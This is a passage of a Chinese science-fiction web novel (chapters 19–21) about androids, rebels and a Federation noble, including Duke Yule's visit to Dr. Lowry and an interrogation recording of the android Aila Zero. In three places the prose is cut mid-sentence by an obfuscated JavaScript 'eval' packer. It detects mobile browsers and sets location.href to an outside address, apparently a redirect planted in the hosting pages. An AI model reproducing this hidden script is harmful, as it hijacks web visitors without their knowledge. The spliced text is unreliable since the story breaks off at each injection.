莉汶的双脚像灌了铅一样迈不动,老人不再看向她,对着远处的麦穗默默眺望着,时间久了,莉汶才发现她是睡过去了。 19. 尤勒公爵 其实她可以,她可以…… 莉汶握紧了拳头,她从来不知道她的自己的嘴唇能抖得那么厉害,只好咬紧牙关,忍住不发出声音。 今天没有一丝风,只有她离开时,周遭的空气被轻微地搅动了一阵。 另一边,扬光还在紧紧盯着离自己越来越近的红点,他摸了摸腰间的枪,不屑地哂了一声。 逮到你了,怎么可能让你逃掉! 脑后突然传来的一阵杀意令他一瞬间汗毛直立,他几乎是用本能反应才堪堪停下,一秒不到,眼前一道灰褐色的影子掠过。 狼? 这片胡杨林里的保护区里出现什么都不奇怪,但大多数时候它们都和人类世界泾渭分明,各不相扰,但里面的生物袭击人类?闻所未闻,那些个危言耸听的传言不过是以讹传讹罢了。既然如此,那这匹狼怎么会攻击我? 追踪器的提示音想起,目标再次移动,扬光顾不得那么多,他现在有要紧事,可没有心情跟一头畜牲纠缠。 长裙太碍事了,莉汶勾起裙摆用力一撕,一阵裂帛声中她将裙摆的碎布条系在腰间,方便多了。 最后回望一眼那位老人安详小憩的身影,莉汶欲言又止,终于还是继续前行。 前方出现弯道,她应该已经成功地绕到了胡杨林的南边,视线的死角处一柄短刃角度刁钻,直冲她面门。 她已经来不及避开,咬咬牙用左臂护住了要害,短刃深深嵌进肉里。 那种激痛刺得她太阳穴一突一突地,头晕目眩地栽倒在地,一双不见半点污渍的军靴踱步到她面前。 这双军靴,她只见过护卫队的卫兵穿过。 僵直着身体慢慢抬头,她有一瞬间的讶异,随即压下满腹疑惑,定了定心神。 “是你?” 艾拉零静静地伫立在她身前,比身后的胡杨更加挺拔。 “还是有点本事的,否则我会怀疑妈妈为什么要用你。” —————— 凯瑟琳·洛瑞的生物钟已经规律了几十年如一日,即使沉睡在一片黑暗之中,她也能精准地在早上五点醒来。 床垫柔软,还有专门为她准备的鹅绒蚕丝被。她的一切都被调查过一遍。 室温也被控制得恰到好处,毫不夸张地说,甚至比她自己家中的改良莱莉雅型更加完美体贴,服务周到。 咔地一声轻响,洛瑞博士依然端坐在床边,没有丝毫要起身的意思。 “抱歉抱歉,实在是抱歉,明明是我们邀请博士过来的,但希望您理解,最近外面一团乱。” 油头粉面的男人挂着令人不适的公式化微笑,与彬彬有礼的语气截然不同的是他傲慢无礼的举止。 “……” “我还没做自我介绍,我叫尤勒,希望您称呼我时能在前面加上公爵二字——我代表联邦王室来与您交涉。” “……” “还有什么问题吗?博士。” 坐成雕像的博士终于有了一些反应。 “我希望尊贵的尤勒公爵能学会敲门。” 尤勒公爵嘴角的笑容僵住,他半眯起眼睛,优雅地迈步到房间的客座沙发上落座,双膝交叠。 也不知思考什么那么入迷,他就这样放任房间里静默了几分钟后,抱着膝头的双手张开又收拢,他的喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073054|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里卡出一阵怪笑。 “看来……”那油腻恶心的笑容终于完全收了起来,“我们智慧的博士似乎还在认为她身处一个自己拥有所谓人权的地方。” 如果声音有形,那现在整个房间大概已经裹满了冰渣。 “所以尤勒公爵过来是通知我我在这里失去了人权?”洛瑞博士依旧高昂着头颅。 尤勒公爵又挂上了那令人作呕的笑脸。 “当然不,博士,我是来向你传达来自联邦王室的谢意与敬意。” 说罢,静静地等待着什么。 也许是凯瑟琳·洛瑞的感恩戴德。 “我不喜欢打哑谜,先生。” “是尤勒公爵。”他纠正了洛瑞博士的措辞,“您真该庆幸是我这样一位绅士来探望您。” “……” 洛瑞博士冷眼看着面前的绅士。 尤勒公爵丝毫不介意被如此凝视着,不过是下等人的垂死挣扎罢了。至于这位……博士?呵,有点利用价值的下等人。 “王爵得知了您的杰作,她表示非常……满意!她大加赞赏了您的研究精神,您知道的,您的研究成果和我们的要求的确有些……出入,但不妨碍它伟大。” 他的语气动作实在夸张,以至于被称赞的本人并没有感觉到任何喜悦。 尤勒公爵显然明白洛瑞博士知道他的意思,并且他十分享受这一点,非但如此,他还期望看到这个高傲自大的学者对他摇尾乞怜的样子,这能让他的支配欲得到充分的满足,就像在霓虹茧房…… 一想到这个名字,尤勒公爵细长精明的眼眸中最后一点伪装的笑意也消失不见了。 20. 对手 “如果你来是说这个的,那么你想要传达的意思我已经明白了。” 早晚都会有这么一天,从她决定继续那个先行研究开始,这些都是注定会发生的。 “不不不,我想您不明白,王爵的意思是……她十分赞成您的研究,并希望您继续下去。如果能让我们定期见见那名‘奇迹’,就再好不过了,我们衷心感谢。” 洛瑞博士的脸色霎时间铁青,这恰巧是尤勒公爵最希望看到的表情。 他兴奋得手指轻快地点着膝头,像是要演奏一整段奏鸣曲。 “您怎么看?” 这位命运的宠儿会如何回答这个问题?他好奇得小眼珠子都瞪大了不少,好奇心的驱使下他的面部呈现一种诡异的表情。 洛瑞博士不动声色地恢复了刚才那般荣辱不惊的模样,轻轻开口:“十分荣幸。” 只是这样? 这个平平无奇的回答令有了公爵有一些小小的失望,他更期待一些戏剧化的东西。 尽管如此,他还是保持住了毫无意义的优雅。 “太棒了,我会将您的回复传达给王爵……既然是这样的话,我会尽快申请到对您的特赦令,事不宜迟,研究中心没了博士可忙坏了。” 尤勒公爵将笑容又放大了一些,哼着悠扬的小曲往外走,突然停下。 “对了,博士,听说是您将这个系列命名为艾拉的,有什么说法吗?” 洛瑞博士似乎在判断他的意图,漫不经心道: “发音比较简单,小孩子也能轻松拼读,不是吗?” 尤勒公爵眯起眼睛,良久才意犹未尽地点点头,似乎很满意这个回答。 —————— 漆黑的军靴踏在残存着火星的余烬上。 紧接着是更多的脚步声。 “少校,果然是个圈套。” 神情肃穆的老兵凝望着眼前的荒芜。 “嗯,这群人的老伎俩了。” 黑暗中的红点暴露了监控的位置,他领着大部队潜伏进了盲区,指派一名赫尔墨斯前去开门。 牺牲一名最新型号的仿生人士官最让他头疼的事情是写十几页的损失报告。 但比起第一次几乎全军覆没的后果来说,损失已经轻太多了。 他摸了摸自己已经完全机械化的右腿,多少年了,伤口还在发痛。 身后的士官振臂一挥:“继续搜。” 年轻的士兵小跑回来报告。 “长官,全是灰烬。” 不远处有人高喊。 “有发现,这是仿生人芯片,他们已经着手研究了。” 证据被递回给少校。 他只是简单地打量了一下。 “早晚有这一天的,还有没有别的发现。” “又有新发现!长官!” 士兵用隔热塑封袋装了个黑炭一般的物件。 “长官,□□应该是被固定在这里的。” 这是什么…… 少校接过已经被炸得完全变形的金属部件,试图复原它原本的样子。 如果说他们已经开始研究仿生人技术,那联邦王室的其他技术呢?是不是也在他们的复原之列? 少校死死盯着手里的部件,在脑海中一一比对任何一种可能性。 一道惊呼打断了他的思路。 “这里有一具尸体,长官。” 不少人围了过去:“伤员?” “刚才里面的确像是有人,就是这个人?” “被大部队留下来了?真可怜。” “走不动了,所以留下来当人肉引爆器么……这群恶魔……” 没有人敢大声议论,少校的听觉灵敏,这些窃窃私语逃不过他的耳朵。 脚下有种怪异的触感,少校低头,一闪银光从余烬中冒出了头。 他弯腰将它捡起来…… …… “ES9934,ES9934,听到请回答。” 年少的士兵蜷缩在暗处发抖。 “ES9934,ES9934,见鬼,我们队是出了逃兵吗?听着小子,我知道你在,等着我们回去,老子亲自送你上军事法庭!” 他捂住嘴,生怕抽鼻涕的声音被对方听见。 “ES9934……” “好了,放弃吧,任务要紧。其余的事情回去再说。”另一道声音插进来。 “哼,你来了,刘易斯,算他走运。” 通信设备那边的声音远了一些,但并没有切断。 他捧着设备不知如何是好,真的要当逃兵吗?要是回去了,军事法庭那种地方……那种地方……等于没命! 他捏紧了通信设备,手心冒出的汗珠擦过麦克风,扩音器里面杂声一片。 “什么东西?坏了?” 他一把关掉了麦克风。 士兵晕晕乎乎地坐下,军装外套已经被汗水浸得透湿,他烦闷地将外套脱下来甩在一边,用手拉着汗衫领口透透气。 他已经是惊弓之鸟,任何一点响动都能让他崩溃,比如此时身后杂草丛中一阵窸窸窣窣的声音。 士兵像被挤压到了极致的弹簧一样蹦起来,颤抖着看向发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073055|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声响的地方。 两名灰头土脸的少女从杂草丛中冒出了脑袋,大一点的女孩一脸警惕地护住小的,后者扒拉在她肩膀,一脸好奇地看向他。 通信设备里的对话还在继续。 “路,我知道你是担心他,你放心吧,他不会像你儿子那样……” “住口,刘易斯,你没资格提我的儿子。” “你要去哪儿?” “把ES9934找回来,他就算死,也得死在战场上,而不是审判庭。” “真拿你没办法,我们先前进。” 士兵和两名女孩僵持着。 显然,这段对话两个女孩也听懂了。有人要来找他,也就是说,她们即将被人发现。 大女孩转过头,他看清了她右边耳垂上那枚小小的银色耳钉,那是她身上唯一的点缀。小女孩的左耳上也有个一模一样的。 大女孩笨拙地往拖在身后的大口袋里一阵翻找,直到她摸出一把枪,士兵才意识到即将发生什么。 他能做的只有仓皇地逃走。 狼狈,窝囊,懦夫一个,没错,这些骂名他都不在乎,他想活。 大女孩举着枪站在原地,还是那个护犊子一样的动作护着身后的小女孩,她们并没有开枪。 没跑几步,他看到了往这边来寻他的长官。和尖锐的爆鸣声。 他失去了他的部队和他的右腿。这是他们第一次相遇。 第二次见的时候,爆炸再次发生,他终于将这两个女孩和他们任务地点的爆炸案联系在了一起。 但他并没有汇报。 第三次…… 第四次…… 其实从第五次开始,她已经从他手里讨不着好了。两人有来有回,但战术上他更加成熟一些,也许是少了她的愤怒。但那是他所向往的。 不记得是从什么时候开始,她变成了孤单一个人。一定发生了什么不好的事。 他试图去查过作战记录,但以他们和反抗军交战时的死伤数,根本做不到事无巨细全部写进档案里。 这是第几次了? 他以为她这次也会站在某个角落,看到他以胜利的姿态站在这片废墟之中。 然后她会愤然离场,蛰伏着等待下一个时机扳回一局。 可是她没有。现在她躺在他的脚下。 “不,她是对手。” 少校轻声说道,将深红色的贝雷帽摘下,默默抱在肋侧。 见上级脱帽,队员们纷纷效仿。 护卫队成员将沙农的尸体团团围住,将默哀当作这片荒芜中的送别诗。 21. 噩梦 扬光依旧在紧咬着不放,终于能看到自己和闪烁的红点即将重叠—— 就是这里! 最后一个拐角,胡杨树之间透进炫目的光线,他看到了光线中的人影。那个人斜倚着粗壮的胡杨树,在等待着什么人。 等……他? 扬光刹住脚步:“怎么是你?” “不能是我么?看你活蹦乱跳的样子,似乎分别之后没遇到什么危险。” 危险…… 扬光想起那个分崩离析的营地,一股无名的怒火腾地冒起。 “你在讽刺我吗?你的好姐妹干的好事,你是不是觉得特别精彩。” “我没有这样说,为什么人类喜欢把自己臆想出来的情节强行安在对方身上?” 扬光咬着牙,也许早几年,他还会红眼睛,现在的他已经不会了,他只想找出始作俑者,扒了她的皮。 “让开。” 他按下无差别的杀意,言简意赅。 “我知道你在找她,但是她走了,别费心思了。” “什么意思?扬光咬牙切齿地说,还说你们不是一伙的,不是自己的事情就少掺和。” 艾拉零似乎要把他的表情刻进脑海中那样看着他。 “如果我们是,你也不处置我么?” 扬光的回应不在语言里,而在他握紧的拳头里,良久他才松口。 “嗯,滚远点,趁我还没改主意。之前在中心塔的事情我还没找你算账呢。” “你要跟我算那一笔?那是你们的人先动手的。” “我们的人?你说乔叔?我根本就……” “看,他也不是你们的人吗?站在哪边,不是空口说说就算的,得看这个人做了什么,不是吗?我们如果一起行动,他的偷袭也许不会得手,但会成为既定事实。” 艾拉零走近了两步,有些太近了,扬光忍不住后退。 “什么啊,一副想杀了我,又不能动手的样子。是顾跟你说了什么吗?” 扬光还在忍。 艾拉零退了回去,替他说出答案:“不是,是因为你们对我还有所图。” 发丝随着她的动作轻轻晃动,划出一道优美的弧度。 扬光就那么静静看着,有一瞬,他真的觉得她好像跟那些仿生人不一样。不,绝不是因为什么流不流血之类的特殊体质。但具体为什么,他也说不上来。 —————— 反抗军在清点人数,事发突然,但孩子们都在熟睡中,没有受到太大的惊吓,江鲆正四处寻人。 “贾斯坦,你在这儿,我找你半天了,他们没告诉你吗?” 刺猬头坐在一块岩石上,弓着背,垂头丧气地发着呆,空想着不知道思绪飘到了什么地方。 江鲆已经走到他跟前来了他也没有动弹的意思。 “情况不算太严重,安抚好孩子们,我们继续动身,这次往南,有个备用地。” “不算太严重?”贾斯坦慢吞吞地重复了一遍,“原本预计再花十小时,我的大卫型就能动了。” “抱歉,太紧急了,我必须顾全大局。” “顾全大局。”贾斯坦点点头,“不错,重新做就好了。” “你能这么想我真的很感谢。”江鲆重重地拍了拍贾斯坦的后背,后者剧烈地颤动了一下,仿佛整个骨架差点被她拍散了。 “你们在这。”修罗凑了过来,“得走了,关灯以后有些孩子怕黑,容易哭。” “你们走吧。我等沙农回来。”贾斯坦还是以往吊儿郎当随心所欲的样子。 江鲆看了一眼修罗,道:“你不要等了,她如果回来了会跟上我们的。” 贾斯坦没精打采地,眼皮子都懒得翻一个。 “要等的。以前是莉莉等她,后来就只有我等了。” 江鲆紧抿着嘴角:“你不要等了,她不会回来了。一小时之前营地那边传来了爆破声,如果她——” 修罗在身后按住了她的肩膀,等她回过头,沉重地向她摇摇头。 贾斯坦动弹了一下,精神了一些,原来是要骂人了:“放你的狗屁,你们不等我等。” —————— 顾筵在基地入口等了很久,扬光和艾拉零一起回来了。他什么也不问。 “不问我们做什么去了?为什么一起回来?” “这重要吗?”顾筵不解。 “你要找的人没找到,自己倒先回来了,真是好心态。” “我运气也不错,你看,我要找的人自己会出现在我面前的,好像不用我亲自动手。” 扬光哼了一声,拿肩膀狠狠怼了顾筵一下,闷着头用身体把面板挡得严严实实,才开了锁。 “之前我这样开营地的门,那个女人一定是偷看了启动方法。”扬光恨恨道。 “你说有话要说,现在不是时候吗?” 艾拉零示意他们先进去,自己也倒退着环顾四周,确认安全后悄悄合上了盖板。 进去的第一件事,就是把扬光的辉光管时钟砸了,将里面的监听系统捏碎。她是什么时候知道的,又是怎么知道的,无人知晓。 “现在是时候了。”她将一片记忆卡拿出来,摆在桌上。 扬光看清是什么了之后脸色剧变,顾筵的眉头也紧紧锁起。 “你们要的不是这个么?我替你们取回来了,为什么反而不高兴?我甚至没有计较你们的长辈埋伏我的事,还有什么不满意的。” “满意,满意。”扬光咬牙切齿地看着顾筵垂着眼用指尖按住记忆卡,慢慢拖到自己面前。 她都知道!全都知道! “谢谢。” “不客气。” 有一个瞬间,他确定她笑了。 这样的氛围太诡异了,扬光实在难受,一脚踢开身边的懒人沙发,冲回自己房间。 艾拉零埋头继续修西弗斯,顾筵看着她欲言又止。 “有什么事情我希望能直接沟通,我还不习惯人类的这种暧昧的表达方式。” “你的进展如何?” “很好。” “那就好。” “修罗和你联系了?他有什么新的指示?” “不,是我好奇。”顾筵回想起艾拉零的话,直截了当地开口,“那是你第一次出任务,对吗?” 艾拉零停下手中的工作,抬起眼看他。 只有这一种解释,艾拉零没有见过那些说她眼熟甚至会主动打招呼的人,如果说每次任务记录里登记的是她,但执行任务的另有其人,是不是就能和每一次型号更新对应上了? 他可以自己查下去,但在那之前,他想听听她怎么回答。 就在他以为艾拉零并没有理解他这句前言不搭后语的话时,她开口了。 “的确如此。” 他得到了他想要的答案。 扬光毫无怨言地将自己的辉光管时钟修好了,还堂而皇之地在大家享用荔枝肉罐头的时候将新的监听装置塞到了老位置。 这下大家都知道这里是谨言慎行区域了。艾拉零漫不经心地掠过一眼,扬光盯着她看了很久,最终因为解读不出情绪而放弃,泄愤似的差点将一次性汤匙咬得粉碎。 扬光在胡乱清理桌面的时候发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079696|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现了那支录音笔,他回忆了好久也不记得自己曾经有过这种装置,不由得将目光投向另外两人,最后悄无声息地把录音笔带回自己的房间里。 这一消失就是好几个小时,顾筵临时出去了一阵,回来之后上层下层都看不到扬光的踪影,只能不抱希望地去敲房门,毕竟这个时间点他从来不会窝在房间里,他嫌那里空间太小了。 扬光把懒人沙发拖到自己房间里了,一点灯也没开,借着走廊的光,他面前的矮桌上有个红点一直在闪。 “是你啊。” 他懒洋洋地起来,听语气似乎刚睡醒。 “江姨问我你怎么不回消息。” “哦。” 扬光清醒了不少,扭了扭脖子,这个睡姿有些落枕。 “回头再联系她,我想问你点事。” “什么?” 扬光不语,点开了录音笔。 艾拉零的声音响起,还是那段谈话。 “我认为洛瑞博士是怎样的人……?完美,妈妈当然是完美的。” “完美如何定义?我的意思是,博士是人类,会衰老,会死去……” “衰老?你为什么认为衰老是不完美?” “谢谢你的回答,让我们来看看下一个问题……如果你的主人认为你有攻击性,要求处理掉你,你如何看待?” “攻击性?妈妈说她爱我的所有,自然也包括我的攻击性。更何况我的攻击性远不及你们的百分之一。” “回答得很好,下一个问题,你有愿望吗?” “我的愿望?有,做妈妈最完美的女儿。” 这一次对方选择了追问:“你的意思是说博士的其他‘女儿’不完美?” 意外地,这一次艾拉零选择了沉默。 “我似乎问得越界了,不如来听听下一个问题——你是否有不安情绪?” “不安?我……我当然不安,作为最近似人类的型号,我拥有人类所有的情绪。” “哦?” “比如,我会做噩梦。” 录音笔里传出来咔哒一声,随即一个陌生男人的声音开始说话。 “你看,她在这里撒谎了,另外她每次回答问题时都要把调查员的问题再重复一次,重新审视这段谈话我很怀疑真实性有百分之几。” 接下来出现的声音顾筵很熟悉,是洛瑞博士。 “有什么大惊小怪的,她是人,当然会说谎。” 男人从鼻腔里发出了哼哧的声音,又是咔哒一声,谈话继续。 “梦到了什么?” “梦到什么?我忘了。但我相信许多人都这样。我还挺满意的,恐怖的梦境,想不起来才最快乐。” 又是咔哒一声,这一次是扬光按下了录音笔的电源键。 “我们这么多年的交情了,你就给我句实话,这录音你从头到尾都听过了,是不是?” “没错。” “那为什么你从来没有把这一段告诉营地,或者我?” —————— 江鲆站在高处,用一种罕见的眼神俯视着跟随她和修罗的人群。 “你这样偷袭我是不管用的,我在五秒之前就已经感觉到你的靠近了。” 背后的小女孩悻悻地收起她的玩具弹弓。 “这东西哪儿来的。” 小女孩声音还软软的,但努力想让自己听上去凶一些:“哥哥和大家去超市找食材的时候给我带的。我可以拿它打怪兽吗?” 江鲆沉默良久,弯腰将小女孩抱起来。 “如果可以,我们在梦里打打怪兽就好了。”